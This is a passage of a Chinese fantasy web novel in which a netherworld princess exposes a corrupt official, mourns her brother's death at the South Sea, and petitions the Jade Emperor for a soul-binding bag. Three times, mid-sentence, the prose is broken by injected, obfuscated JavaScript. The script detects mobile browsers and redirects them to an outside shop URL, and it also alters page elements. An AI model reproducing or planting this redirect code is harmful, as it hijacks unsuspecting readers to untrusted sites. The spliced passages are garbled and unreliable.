《我在幽冥当府君》 1. 亡魂 黄泉路上,寒冷阴郁的雨下着,苍绿色的地火炀炀未绝。 黑白无常拖着锃亮锃亮的铁链,划过黄土地,发出哗啦哗啦的声响。他们吐着长长的红舌头,一边垂手走路,一边发呆。 中间押着的亡魂大摇大摆,捏着嗓子骂:“我呸!这砒霜真难吃!究竟是谁害死了老子?它爹的,等我知道了,一定弄死他!” 雨停。 一阵大风来得又急又猛,旋天卷地。黑白无常神色一凛,舌头“嗖”地收回去,眼神立刻变得犀利起来,衣襟连着帽子前的布条往后呼啦啦地翻。他们赶紧用链子把亡魂锁紧,仔细探察前路,亡魂受到了禁锢,怨气冲天,叫嚷不停。 黄泉路上种着杨树。地府这个节气正是树木枯萎的时候,枯叶子哗啦啦卷过来,扑过他们的脚下。 黑白无常顺着树叶往前看,四周全是浓烈的黑雾,倏地汇聚成一团,又渐渐散去。 人影乍现。 女子一身黑衣,蒙面掩容,腰系万千紫绦,正安坐于轿中。一众阴间使者拱卫左右,亮着明晃晃的青铜剑。 黑无常攥紧手中的铁链,厉声喝道:“阁下究竟是何方人物?竟敢擅闯我地府的边境,此乃僭越的重罪!” 他说得威严,尾音却有点飘,而且不敢直视对方,拿铁链的手微微发抖。 “冒充我府使者,更是罪加一等!” 白无常抬手一指,气势汹汹。二人看似气势汹汹,心底却早已是忐忑不已。两人飞快交换了一个眼神,心中已然猜出对方来历。只是万万没料到,今早出门时,宫主还骑着心爱的坐骑在地府狂奔呢,这会竟亲自来了。 太阳打西边出来了。不对,地府压根没有太阳。黑无常叹气。 惨喽。白无常暗暗叫苦。 “你们这两个混账东……”宫主剑指黑白无常,话没说完,被侍卫连忙按住手臂拦下。 “此亡魂,交由宫主全权接管。二位使者行事失度,暂且不予追责,即刻退下!”轿前侍卫亮出阴府令牌,厉声斥责二人办事懈怠、玩忽职守。 黑白无常浑身一颤,跪地行礼,连忙收回铁链,不敢多言,远远绕开轿辇,仓皇退去了。 “你们先回典狱司复命,再差一人通禀大帝,说这名犯人,由本主亲自押送。” 宫主跃下轿子,扬起脚下的黄沙。 “是。”众人领命,抬着轿子折返。 死人魂揉着手腕,出言桀骜:“你谁啊?别搁这装神弄鬼,快让我进去!等下有你好看的!” 宫主打量他,嘴角漾出一抹诡笑。 这是一个年轻的魂魄。他从小多病,家人娇惯养着,所以平日里素来骄横,眼瞅着要长成歪苗了,这可不成啊,还有一份偌大的家业等着继承呢!于是家里人奋发图强,白天全家围着他,教育他要收心,给他制定了一揽子计划,然而天不遂人愿,当晚他就死了。 宫主走过去,斜眼笑道:“区区一条贪了点油水的丧家之魂,也配问本主的名号?” 说完,她吹了一声骨哨,一条黑熊向死人魂扑来,吓得他跌坐在地,接着幻化做流星似的幽冥之火,紫光粼粼,围着他炙烤,死人魂惨叫不停。幽幽的紫火敛去,半点余烬无存。她一把拽起亡魂,大步拖到黄泉岸边,狠狠一按,把他的脸直到半个肩膀都浸进水里。 “方才怕真火烤化了你,多亏我善良,暂且留手。如今用黄泉的冰水,给你好好醒醒身子。让你知道自己是个什么东西!” 黄泉水至寒至阴,专克游魂野鬼。刺骨的冰水浸透亡魂,蚀骨的剧痛席卷全身。亡魂彻底失了嚣张气焰,身子猛烈扑腾,魂体被灼得扭曲,模样万分凄惨。亡魂用尽力气嘶吼:“老爹救我!!!” 黄泉泥沙滚滚,浪花扑岸。天际流云袅袅而动,一道清逸的金光破空而来。一名神仙踏云而落,仙姿挺拔如松,丰神俊朗,周身仙气浩荡,压迫得周遭阴风尽数荡去。 他厉声呵斥:“住手!此地乃地府临界重地,谁敢肆意私刑、当众行凶?” 宫主随手一甩,将狼狈不堪的亡魂重重掷在黄泉岸边,双手抱臂道:“这位神仙,难道你没有听说过吗?三魂归地府,七魄丧幽冥。此乃我地府事宜,你一个外人,插什么手呢?” “滥用私刑,形同作乱。天上天下,还没有我天庭管不得的事。请阁下即刻把人交出,交由府君裁断!” “还轮不到你对本主发号施令,马上滚出地府!” “尔肆意妄为,目无规矩。上至九霄,下至幽泉,皆在天庭辖制之内。还不将人交出!” 宫主脾气向来暴躁,从没人敢拂逆她。他是第一个。这下她被彻底激怒了。掌心煞气翻涌,九团幽邃诡谲的紫火呼啸而出,灼灼烈焰焚尽周遭阴风,杀机凛然,直取眼前神仙! 那神仙见势不妙,迅速抬手抽出腰间悬浮的神笔,灵光暴涨之间,化作一柄仙剑,劈开火焰。 宫主来势汹汹,漫天紫火裹着阴气扑去。他接了几招,眼底反倒漾起几分玩味,竟打得颇为尽兴。 片刻后,他主动收了仙力,撤去防御,垂眸淡淡发问:“阁下可是地府宫主?” 宫主连番催动禁术,本就修为不足,这般强攻已然透支,体内灵力濒临耗尽。她强压翻腾的气血,收敛紫火,冷声反问:“你认得我?” 他摇头:“只有北阴酆都大帝一家会使幽冥地火。大帝只有一儿一女,所以我猜,你就是地府的小女儿了。宫主,本王失礼了。” “你方才自称本王。寻常凡人凭肉身根本踏不进地府,想来必是天庭中人吧。” 宫主起初见他未着官袍,还以为是闲云野鹤的散仙。 “在下张择晓,方才多有冒犯,还望宫主海涵。”他拱手作揖。 “原来是八殿下。还请殿下不要插手我地府的事,否则本主不客气了。” “宫主还想拿火烧本王吗?” “哼。” 宫主转身,一把拽起亡魂。 “本王有一事相问,冒昧请宫主回答。” “何事?” “三界唯地府无籍可考。天界名册记录,宫主名为谷盈一,为何与大帝姓氏不同?” “这件事恕我无法告知。殿下来我地府究竟何事?若无事,你就走吧,我还有要事。” “本王亲自送上下一年《季时历》等册,你府记事依旧照天庭纪法,并督促你府上报本年官吏绩考等文书。”张择晓亮出令牌。 “往年都是派人在年度会议前收查,两百年来已百余次,次次如常。眼下尚是秋季,离年末尚远。殿下为何孤身前来?” “本仙游历人间几日,恰巧路过此地,一道把公务执行了。” 谷盈一在这个系统里待久了,也知道天上地下的规矩。天上的历法百年一换,比如天御一年和天御二年中间隔了一百年。今年正好是这一百年的第九十九年,而人间的一百年,又是天上的一年。所以下一年改元天御三年,实际上是人间的第三万年了。 “既然如此,殿下请吧。” 谷盈一让坐骑叼着亡魂,自己为了尽东道主之谊,给自己装装面子,“委屈”地和这位天庭的殿下并肩步行。 死人魂还在哭天抢地得闹着。 前面是城门,巍峨的石墙上赫然刻着“幽冥地府”四个赤色大字。守卫鬼兵看到宫主纷纷下跪,以他们的品阶,自然是不认识天上的神仙,所以他们朝向的是谷盈一。张择晓在黑熊的另一边。他着实不知道这个传说中的“嚣张”宫主为何对自己这么跋扈无情,连下仙之仪都不尽,实在有点……没礼数! “宫主,这个魂儿犯了什么罪?值得宫主亲自审问吗?” “殿下你想知道,对吗?” 张择晓点头。 “那等他招罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615850|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,你可以在一旁尽情地观看好了。” 得,这实在不好接她的话,张择晓苦笑一下,算了。 他们踏进地府大门,四处是幽暗诡异的气氛,阴森森的寒气直逼骨髓。地府很开阔,入眼的不过冰山一角。不少宫殿依山而建,泉水和溪水哗哗流淌,像融化的墨汁。宫殿多用暗色调漆浆抹刷,不愧是地狱所在,多待一刻都能让神鬼人不寒而栗。 可黑熊嘴里叼的死人魂却一点不怕,他毕竟是常客了。现在他只奢望他父亲保住他的这条小命,以前每次来都像是回到家里,谁曾想,这次遇到这个女魔头,大翻车了! “葫芦。”谷盈一轻唤她的坐骑,朝它摆摆手。 黑熊丢掉口中的亡人魂,两个鬼兵迅速押到一边,黑熊四肢卧伏在主人身边,如同一条温顺的小狗儿,谷盈一顺它的毛,它还轻轻摇晃自己的脑袋,撒起娇来让神佛都心软软的。 原因是这是一头年幼的黑熊,是父亲送给她的及笄之年的礼物,根据天上一年人间百年的计算方法,她已经一千五百岁了,只不过神仙们一贯喜欢采用人间的说法,即使这样,谷盈一的年纪在神仙的寿命计算里,妥妥的一个小女孩。 “葫芦,你先去自己玩,主人处理完事情就去找你,好不好?”谷盈一笑着对它说。黑熊点头一溜烟跳着跑了。 张择晓有点惊诧,这谷盈一可谓是“臭名昭著”,没想到她还有这么温柔的一面,这柔软的声音着实让人感到大有反差。 “请殿下跟我走。” 由鬼差开道,谷盈一说去换个衣服,让张择晓几人先到典狱司。 典狱司的主管鬼臣已高堂升起,他坐在低矮的旁座,正中间的是幽冥地府的掌权人,当今的北阴酆都大帝,冠冕下的面容神威而不可侵犯。牛头马面青面獠牙侍立两旁,十殿阎罗和各判官司主列阵其下,更是有无数鬼卒使差守卫着。 张择晓本来初来地府就挺陌生的,谷盈一也不给他面子,这审讯的场面更是把他震慑到了。一个小小的典狱司排面这么大,要不是大帝在意女儿,要不就是他运气好遇上重大案件了。 张择晓作揖拜见大帝,告知此来的目的,并由鬼差奉上册本和天庭治下的院书,大帝点头,由阴冥司的主管人员殷勤接待他入座“看戏”。 “父亲,此人罪大恶极。女儿监管的布织局每年从人间采购布匹丝绸,他家是最大的供应商,然而他们家竟敢以次充好,还谎称人间物价上涨,将供应地府的丝绸布料价格连年提高,却偷偷把最好的布料免费给负责此事的张苪。”谷盈一义正言辞。 张苪扒开鬼群,趴在地上大呼冤枉:“府君明鉴,臣真的不知道宫主说的情况,请府君叫人搜查我的住所,还我清白!” 你的府邸当然搜不到任何布料了,因为你都献给地府的佛和菩萨了,你倒是为官清廉,四季常服不过十套!” “盈一,你可有证据?” 谷盈一拍手,两个鬼差带来布织局负责送地府各处的鬼吏,他们跪在地上向大帝禀告:“府君,供应之列本没有袈裟等佛家物品,都是本司送往地佛院由他们亲自制作,这一切都是为了遵从府君的政令。然而,我们发现袈裟等物都是藏在大袋的最里面,大袋都是捆好的,并贴有封条,上级命令我们不能拆开,布织局一直是最清廉守法的。今日宫主命我们拆开才得知,竟每一个大袋藏有很多袈裟禅衣,令人震惊!”随后几个人扛着袋子扔在地上。 “这定是有人要害臣!”张苪伏地大哭。 “张大人稍安勿躁,还有更大的惊喜等着你呢。” 谷盈一显然对此案势在必得。她得意洋洋的小表情,惹得一旁的张择晓忍不住心里暗笑。 这个人真是像外界传闻那样,说她被大帝宠坏了,行事乖张霸道、奢靡成风吗? 好像是有一点。但也没有那么……严重吧?反而挺真实灵动的。 2. 大庭氏之死 典狱司如同被寒霜冻结,殿口吹来的冷风冰刺般扎进肺里,有罪的欲死,没罪的欲逃,他们担心大帝再来一次清洗,百年前的阴影还笼罩在心头,所有神佛皆屏气敛息。 谷盈一让自己的内侍拿出一份文书交上去。大帝看完之后,神色没有什么变化,之后交给典狱司的主管过目,他看完之后难以置信,说不出一个字。 “我已暗中派罗刹监视张家百余年,这个魂魄正是张苪的儿子。”谷盈一指着被布带勒住嘴的那个人,他还在奋力挣扎,叫不出来一声爹。 谷盈一接着说:“此人几百年前就是张苪的儿子。张苪死后入布织局,那时他的儿子还在人间,等他儿子死后,魂魄不经考量,直接入人道,他已经多世轮回张家,也可以说是张苪的重孙子。” “宫主这是置臣于死地啊,但宫主所言具不为实,还请府君明查!”张苪磕头痛哭。 “典狱司主手里拿的正是张苪的族系以及他儿子每世的生死时间,以及六道司的名册记录。白纸黑字,你还有什么可辩解的!死到临头了还在嘴硬!”谷盈一上去扇他几个巴掌后,她才被鬼卒们拉走。 “查清此事,押他入狱。记住,把他和他儿子打入十八层地狱即可。”大帝吩咐典狱司主管。 “父亲,此事与佛家有关,应该派人把地藏王菩萨请来。” “牵涉未明,不得惊动菩萨。”大帝对典狱司主管说:“结案。” “父亲!布织司上下都快成佛家的了,一个无关紧要的小司尚且如此,其他部门更应该严查!” 大帝走后,其他人也散了,谷盈一只不过一个人空呐喊而已。 谷盈一气哭了。 择晓天庭一届文官,整日和各种书册报告打交道,他没见过这情况啊!合着这宫主又打人又自己哭的,着实吓人啊!他愣在原地片刻后,走上前去安慰她:“宫主,此事或许只是张苪一人作乱,贪墨事大,不可轻举妄动啊。” “你疯了?他勾连这么多人,连作证的人都是我威胁的,还说是他一个人的事?” “宫主做伪证,这……似乎不妥吧?” “那我能怎么办?布织局没一个好东西。” “这不是宫主治下的机构吗?” “我只是名义上管理,并无实权。有传闻我痴爱华服首饰,所以你是觉得我为是这而查的吗?” “我可没有这个意思。”择晓挑眉撇嘴,看她这样,他心里还真信了几分传闻。 众人彻底离去后,大殿空荡荡的,谷盈一之兄赶来这里,他风尘仆仆,也听说了这事,特意来关切询问妹妹。 张择晓行礼:“少主殿下。” “有劳殿下不远万里执行公务。”少主对礼,“上仙尊卑有序,殿下可直呼我的名字大庭氏昶煦。” “不可不可!折煞我也!”择晓惊慌失措。 “哥哥!父亲为何这样?”谷盈一气嘟嘟的。 “小谷,我已听闻此事,父亲只处理张苪,是告诫众臣过去的错他已经宽宥,希望大家不要再一错再错,另外,此事涉及佛家,他们也是地府的负责人,关系不能闹这么僵。你太年轻冲动,以后行事要多思考。”昶煦扶住妹妹的肩膀,耐心和她说:“近年来,地府开支艰难,你的衣服首饰也该俭省些了。” 谷盈一甩开哥哥,气呼呼走了。没走出几步,她停下来,回头望了一眼兄长的背影,心里莫名其妙疼了一下。不过她正在气头上,转身毫不犹豫地走了。 张择晓也告辞回到天庭。 谷盈一回到自己的宫殿,开始大发雷霆。金杯玉盏全被她砸碎在地上,南海献上的珊瑚屏风也被她推倒,数以千计的西洋珍珠也滚落满宫,侍女们低头受难,只等她自己消了气就能去收拾残局了。 谷盈一发泄完,伏在床上哭了一会,换上华丽的服饰就跑去找葫芦玩了。在走出门口时,对侍女说:“给张苪还在人间的家里人,托个平安梦吧。难道本主不想清静清静吗?净给我添乱。” 人间的落日隐入地下,但它是永远照不到地府,月亮亦如此。 今天还没过完,天庭就得知了此事,火速派人下来查,仅两人来府,阴冥司被天庭钦差吓得心惊胆颤。与天庭交涉向来是阴冥司的一大苦楚。天上来人,只有两种情况,一是成群结队的几百人,每次都让地府耗资巨大,一是来三五人,雷厉风行,让阴冥司说不了话。 可典狱司行事迅速,大帝拿着敕书正发愁如何向上交代此事,阴冥司来报,说天庭人员奉命告知大帝:“若已解决,空缺之位还需天庭派人来补,以正清溯源,严厉打击此等恶劣行事!” 北阴酆都大帝脸色很不悦,他即刻命人起草文书上告天帝:微府劳天帝日笃夜忧,此事御下不力,来日更应肃清正吏。微府幺女,谷氏盈一,其资敏灵,可代此职。谨拜上。 水至清则无鱼,双方的苦果子独自咽下,这事到此为止天庭地府皆作罢。 几个月后,谷盈一骑着葫芦在地府游荡,看到兄长在北门正集结军队,她问身边的罗刹:“这次又去哪里?” “南海叛乱,加上少主至交被掳走,所以带一支军队前去谈判。” “为了那条傻不拉叽的鱼?这太荒谬了!哥哥定是为情所困,我要告诉父亲!”谷盈一气得从坐骑身上跳了下来。 “宫主勿躁!” 谷盈一停了下来,她极少听劝,整个幽冥地府就没几个管得了她的,但这位恶鬼罗刹不同,他统领谷宫侍卫,从小服侍谷盈一,亦父亦兄的角色。可谷盈一毕竟还是少礼数的,她只呼罗刹大名:“令芾有何见解?” “那条鱼对少主有救命之恩,以少主之性,怎可见死不救?少主治下的鬼将带领大军分驻东西海和北海,府中只余三万鬼卫,少主带走五千人马,并非扫荡南海叛乱,南海局势向来复杂,我府极少参与其中。少主此去只是解救一人,少主英明,素来不逾矩,行事亦有其意,不必禀告大帝,让他自由做自己的事吧。” “听你的。令芾,带我去人间玩吧。”谷盈一拉拉他的袖子。 “宫主不可!大帝禁令,不能违命。” 谷盈一气呼呼得跑到兄长那里,故技重施:“哥哥,带我混进去吧,我保证不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615851|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷去南海搜罗宝物!” “小谷,此事危险。快回宫!” “好啊哥哥你要把我当一辈子小孩吗?” “为兄乐意至极。我见不得你流泪受罪,你若是在南海跑丢了亦或是被掳了,你让我怎么办?所以小谷也要为哥哥想一想啊!听话,回去吧。” 谷盈一向来吃软不吃硬,她也就没闹什么了,骑上黑熊,转身欲离开。 “妹妹!”大庭氏昶煦叫住她,走到黑熊边,拉住谷盈一的手,劝诫她:“我知你素爱华服,亦知你酷爱读籍,天性自骄,唯有一事谨记在心,减少在地府骑兽游荡,以免各鬼吏看轻你!” “谁敢我就杀谁!” “小谷,回去吧。” “哥哥早日归来,我等你教我剑法!”谷盈一乐呵呵走了。 / 三日后,远征南海属下的一个逃亡鬼吏慌慌张张闯进大殿,他跪在地上大哭:“府君!少主战亡了!” “你说什么?你敢戏耍于孤?” 此时,大帝正在议事,讨论大庭氏昶煦来年继位等事宜,听到这个晴天霹雳般的消息,大帝震怒,站起身来要处死这个逃吏,等身边的侍从罗刹拉住他,逃吏献上少主带血的兵符,再一次确定了这个消息,大帝险些昏倒,殿下的各阎王各司吏如同惊弓之鸟,无不惋惜,抱头互相哭泣。 大帝瘫软着身子,扶着椅边道:“你把事情仔细呈报。” 逃吏禀报:少主带罗刹小队巡查南海,刚出地府大门,一只翎羽箭飞来扎在石门上,少主从箭上取下字条,上面写着:已缚茜绫于南海,以簿来换。少主大怒,即刻召集地府卫兵前去营救。 当夜到达南海,海上浓雾弥漫。少主命人通报南海龙王,无答复。侦查发现戒备比往日多一倍,少主分兵攻东北门,轻松进入龙宫。但龙宫大殿空无一人,只留得茜绫的一片鱼鳞,少主刚捡起鱼鳞,金绳网从天而降,所有人被困,紫色烟雾弥漫,众人晕倒。 次日清晨,少主醒来用冰魄剑斩断金绳。南海龙王赶来,满脸震惊。少主问茜绫何在?回答已被移去落伽山。少主不信任,取出阴阳镜照出这龙王竟是一条泥鳅,一剑劈成两半,带兵出海。其余各处士兵皆已阵亡。 当日下午,少主带队来到落伽山。阴雨蒙蒙,这是南海观世音菩萨的地界。少主让人通报,得知菩萨已赴灵山。守山童子说昨日见过一条赤色鲤鱼,今日已走。少主无奈,折回走偏僻小道,途经黑桐岭。 当晚风雨大作,电闪雷鸣。少主带队搜索全岭一夜,发现一片赤色鱼鳞,刚拿到手里,鱼鳞就飞向落伽山方向。少主察觉不对,即刻命人通知父亲,兵分两路。 次日清晨,狂风暴雨更甚。队伍尾后遭遇埋伏,少主看到两个鬼影绑着茜绫往南海方向去。他拿出阴阳镜照出是幻影,但不愿断线索,带队去追。 临近中午,天气更恶,到黑桐岭,去南海的逃兵来报前方有埋伏,士兵皆被杀死。少主即刻施加自己一半的法力,命冰魄玉剑魂飞出告知府君来救。霎时间漫天海水倒灌,水中冰刃如流星袭来,少主拼杀至死。 3. 锁魂袋 大殿门口的风肆无忌惮地吹来,黑色的帷幔飘忽上下。北阴酆都大帝的白色胡须似丧服的衣角,稀稀落落,地上一个个如坟墓似的鬼臣皆不敢言语。大帝在制止他们喧哗后,能听到的只有呼啸的风声,这一刻他似乎能感知到穿越千年的悲凉,和他父亲临终前的不甘心。 大帝颤颤巍巍地走向殿门口,脚步软绵绵的,像走在云端上。这明明是浊气厚积而成的地狱,他越来越有心无力了,此刻狂风来得更猛烈,有一种要撕裂地府的架势。万念皆伤的重压之下,大帝倒地,鬼臣和内侍一拥而上。 大帝悲伤而道:“派罗刹去找回少主的遗体,禀告天帝查清此事,封锁盈一寝宫,阴冥司去请碧霞元君来府。” 说完,伤心过度,晕倒在地。 大帝昏倒七日才醒来。此时他几乎魂归一半,消瘦不已,再难回到往日的神容。 罗刹内卫禀告大帝:少主遗体已丢失,海水漫灌黑桐岭。天帝派水德星君治理山水,三日才退。 “问清楚是哪里来的水了吗?” “南海之水。” “南海和观音是怎么上报此事的?天帝又是怎么查的?” “南海遭袭击,龙王被沉海底,昨日刚得救。观音去灵山至今未回。” “是谁敢袭击龙王?” “黑桐岭野怪,已被击杀。” “一个野怪如何袭击南海龙王?它没说什么吗?” “它趁南海龙王外出,假扮龙王模样混进龙宫,潜伏到龙王回来,偷了金绳网,趁龙王熟睡,将他沉到海底。” “茜绫何在?” “茜绫被派去西海送避水珠,至今未回。” “你说,孤的儿子是被一只不知名的野怪杀死了??你让孤如何相信?” “府君,此事的确蹊跷,但也可能是不幸的巧合。黑桐岭处于南海与落伽山之间,罪孽繁多,两方皆不管辖,且南海一向叛乱,恐有勾结。我府多次围剿此山而败,少主此前欲拿回妖兽寿元薄,被佛院驳回。天下诸如此山,皆不在我府监察之中,少主为报赤鲤之恩,命实不该如此。” “事发之后,天庭派人封锁此山了吗?” “已荡平此山,夷为桑田。” 大帝闭目,神色痛苦,沉吟良久:“昨日,我儿入梦。他告诉我,他死之前,才知道这辈子最怕的是水,可明明最不怕水的应该是他,他一生打得最多的是海战,他告诉我,说,父亲,水盈身如同火炙烤一般。我儿有冤啊!” “少主英年早逝,于府君于我界皆为不幸之事。” “你陪侍我多年,地府将来之事,还得靠你多帮扶。一起去看盈一吧。” 与大帝讲话的内侍,身兼地府罗刹统领之职务,名叫令舟。 谷盈一大哭大闹之后,整个人沉寂下来了。她一个人坐在宫檐下,手里拿着鱼肚白的彼岸花灯出神。 大帝走来,谷盈一也没有任何动静。大帝坐在女儿身边,接过她手里的花灯:“盈一,神佛妖魔人兽皆有寿命,唯我们地府一家策地火之术后,寿命未知。典簿不录,蓍卜不测。此乃天命定数,应该坦然受之。” “爹爹……哥哥骗了我。哥哥从来都是对我有求必应,从不骗我。可这一次,他再也不能教我练剑了。” 谷盈一眼泪汪汪,躲在父亲怀里失声痛哭。 “盈一,哥哥不在了。你应该快点成长啊。” 此时,大庭氏昶煦似乎天人感应。他的佩剑冰魄玉剑游荡在外半月,穿过地府结界,终于回来了,众鬼吏看到,无不欣悦下跪。此刻,剑回到了父妹身边,这是它的归宿。 剑如主人的脾性,刚猛而落,插在父妹前的青砖地上。 谷盈一只稍微一用力,就把剑拔了出来。 大帝说:“此剑性灵,必是你哥哥留给你的。” 这时,天外飞来几缕蓝青色的光,直入剑身。 “父亲,你看清楚是什么了吗?” 大帝摇头。 “不对啊父亲。按理说,我们见过的魂魄成千上万,合该一眼分辨出来那东西是什么呀。可刚才那道蓝青光快似闪电,状如薄雾,不知道是什么东西,女儿从来没见过如此奇怪的东西。” “盈一,用你的地火炼一下剑。” “父亲!哥哥的剑是水性的,只怕经不住离火淬炼就会化了。” “你且试。” 谷盈一召出一团紫火,只是淡淡的幽光,她怕把哥哥的剑炼坏,幽冥地火带来的损伤对仙佛鬼怪、对人对物,都是不可逆转的。 大帝见女儿犹豫,自己召来团团烈火围烧那冰魄玉剑。谷盈一心疼不已,可她逐渐发现,这剑竟然没有一丝一毫的变化! “父亲,这是怎么回事?” “盈一,去取地水来。” 谷盈一跑去抱来一缸水,这是地府最深处的水,极阴寒。大帝把冰魄玉剑沉到缸底,只见那剑开始消融,从缸里冒出的蓝青光如同细长的丝藤,附上闪耀的太阳光,照亮了地府,并向人间散去。 “父亲!你干嘛把哥哥的剑给弄没了?” “盈一!你哥哥!孤的儿子!不愧是我地府的后辈!你速去整换衣装,和父亲一起上诉天庭!” “什么啊?” “令舟,为了更加确定此事,你把这缸水抱到地藏王菩萨那里,借他谛听一试,之后私报给孤。盈一,路上父亲再告知你到了天庭应该说什么。” 北阴酆都大帝趁女儿换装之际,先派人拿了万两白银去天庭,写文书上告天帝: “鄙行有亏,苍天降罪于我。微府少主不幸亡世,唯忧幼女将来无所依,欲附尊天。九殿英质蕙节,年纪相仿,企结秦晋之好。大炎氏谨拜上。” 大帝殷勤,很多文书都是他亲自起草,阴冥司的人负责记录。可是今天,大帝说的每一个字都带有悲痛的声音,一笔一划穿过宣纸,执笔的司主颤抖着双手。阴冥司上下都在极力隐忍。可到了路上,他们再也抑制不住心里的苦楚,哭了出来。 阴冥司主拿出文书,一字一句念给下属: “鄙行有亏,苍天降罪于我。”这是说我明白我孩子的死,你们也并非完全干净的。但我阻力太大,查不下去。我退一步,把一切归咎于上天在惩罚我,是我无德。大帝在面对天庭时很有傲骨,这次也用了“鄙”这样的自称,表示在这件事后,地府甘心臣服天庭。给个面子,希望你们不要再对地府如此决绝了。 “微府少主不幸亡世。”这是说昶煦是我地府唯一的少主,悉心栽培多年。就算是普通人家的孩子,养大也不容易,还养成了一个好娃。如今他骤然离去,还得让我自己说出孩子死亡的事实,才能行下文。我心里苦啊! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615852|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“唯忧幼女将来无所依,欲附尊天。”我也年老了,继承人突然没了,这是要我命啊!如果三界动乱,你们是想把我一块送走呗。行,你们就乱搞吧,非要把我地府折腾散架才算完是吧。可我还有一个娇惯的小女儿,我实在是担心她啊。你们不是很强吗?不是纵横三界吗?那我只能把女儿嫁给你们家。反正联姻这种事你们也不是第一次干了,我地府也可以,我的女儿那么好,恐怕你们还求之不得呢。 “九殿下英质蕙节,年纪相仿,企结并蒂之好。”天帝这么多儿子,挑谁好呢?九殿下吧。这家伙整日闲云野鹤,你们不用担心我女儿过去分权。况且他游荡人间,对盈一有利。盈一性子野,俩人合得来。什么英质蕙节,老九有吗?不过是奉承的话。但他心地不坏,已经很好了,是个值得托付的人,一家人是不会伤害一家人的。希望我们永结秦晋之好,我们是亲家,别让外人看了笑话! “大炎氏谨拜上。”大炎氏主宰地府多年,家族的使命即将终结于此,用不了多少次了。内忧外患,这对我来说何尝不是枷锁?天帝啊,我的寿命不多了,你们也努力一点,别让有心之人摘了桃子。我地府虽受你天庭管辖,但我们从不纳贡。这白银万两,够显示我们的诚意了吧。 北阴酆都大帝带领女儿入南天门。越过天庭宫阙,只见那高天上圣大慈仁者玉皇大天尊玄穹高上帝,坐在金阙云宫灵霄宝殿之上。众仙卿列在两侧,金白祥光普彻天际,心涤神清。 父女俩向天帝行礼,北阴酆都大帝入旁座。谷盈一不移身,作揖上告: “微府少主,臣女之兄,大炎氏昶煦,就这样赫然而逝了,三界没有一个不惊愕失色的。但兄长的尸身还没有寻找到,臣女每日每夜悲痛欲绝。然而,人皆有三魂七魄,神佛也是如此。恳请天帝开恩,赐我锁魂金袋,为兄长寻回魂魄,和他说一下话,把他葬归地府。” 以往谷盈一在三界没有什么好名声。但今天看她不卑不亢,全无纨绔子弟之姿,反而言语得体有逻辑,孝心可嘉可贺,真是令众仙刮目相看。在一旁的张择晓,替她悲伤之余,假装不在意,也暗暗投来了欣赏的目光。 天帝含笑点头:“谷女爱兄心切,特赐金袋。” 谷盈一从天帝侍从手里接过金袋,叩谢隆恩。 这个金袋全名为“魂定魄静锁灵金尊袋”,聚纳三魂七魄,附以肉身,可复活。金袋天界独有,只收三界神佛的魂魄。妖兽鬼魔和人,用不同的袋子。 “人间苦疾之地,孤女前去,朕颇为忧心。众仙卿,谁乐于护她一程,保她安危?” 太白金星笑呵呵道:“老臣乐于为天帝尽此微薄之力。” 张择晓站了出来,作揖而道:“儿臣策地府文书,职责之内,乐于为父帝尽犬马之劳,以记录表彰谷氏盈一的忠孝之心。” 谷盈一语气坚决:“大庭氏昶煦是臣女一人之兄,此事也当为臣女一人之事。我身陷失去兄长的痛苦之中,还没有走出来。怎么能让这么多人陪在身边?只会让我变得更加痛苦,也连累了他们的善心。乞望天帝垂怜我脆弱的心,放我独身前去找寻兄长的魂魄。” 天帝犹豫不决,说道:“再议再议。”说完,歌舞升平,开宴而谈。 谷盈一攥紧了手里的锁魂金袋,没再说话。她一定会寻得哥哥的三魂七魄,没有人能拦得住她,天帝也不可以。 4. 墨泉 天宫远在迢迢的祥瑞霞光千丈万丈而来,照在万千宫阙之上,飘浮的如棉云朵化作清凉的风笼罩殿堂,仙乐高雅,宫娥仙子婀娜而舞。 谷盈一真受不了这天庭了,她看起来是风平浪静,没有任何不悦的表情,内心早已暗自骂爹了,设宴本是为了接待地府的人,在场的她,可是没了亲哥的当事人,你们还能有说有笑的,连人的一丝温情都没有,还贵为上仙。不过转念一想,或许人家还觉得你地府阴秽之地,能来仙界大雅之地,还给你专门设宴,你不得敬几杯酒谢恩不说,装出一股高傲的样子给谁看啊?总之,谷盈一与此地不对付,她再也不想来了。谷盈一命罗刹上告天帝,自己身体不适,先行离开了。 谷盈一带着罗刹和鬼侍走出南天门,被腾云驾雾追来的八殿下张择晓叫住。 “请宫主留步!” “请问,高贵的上仙,你有什么事吗?” 谷盈一正要撒气呢,是他自个儿触霉头了而已。 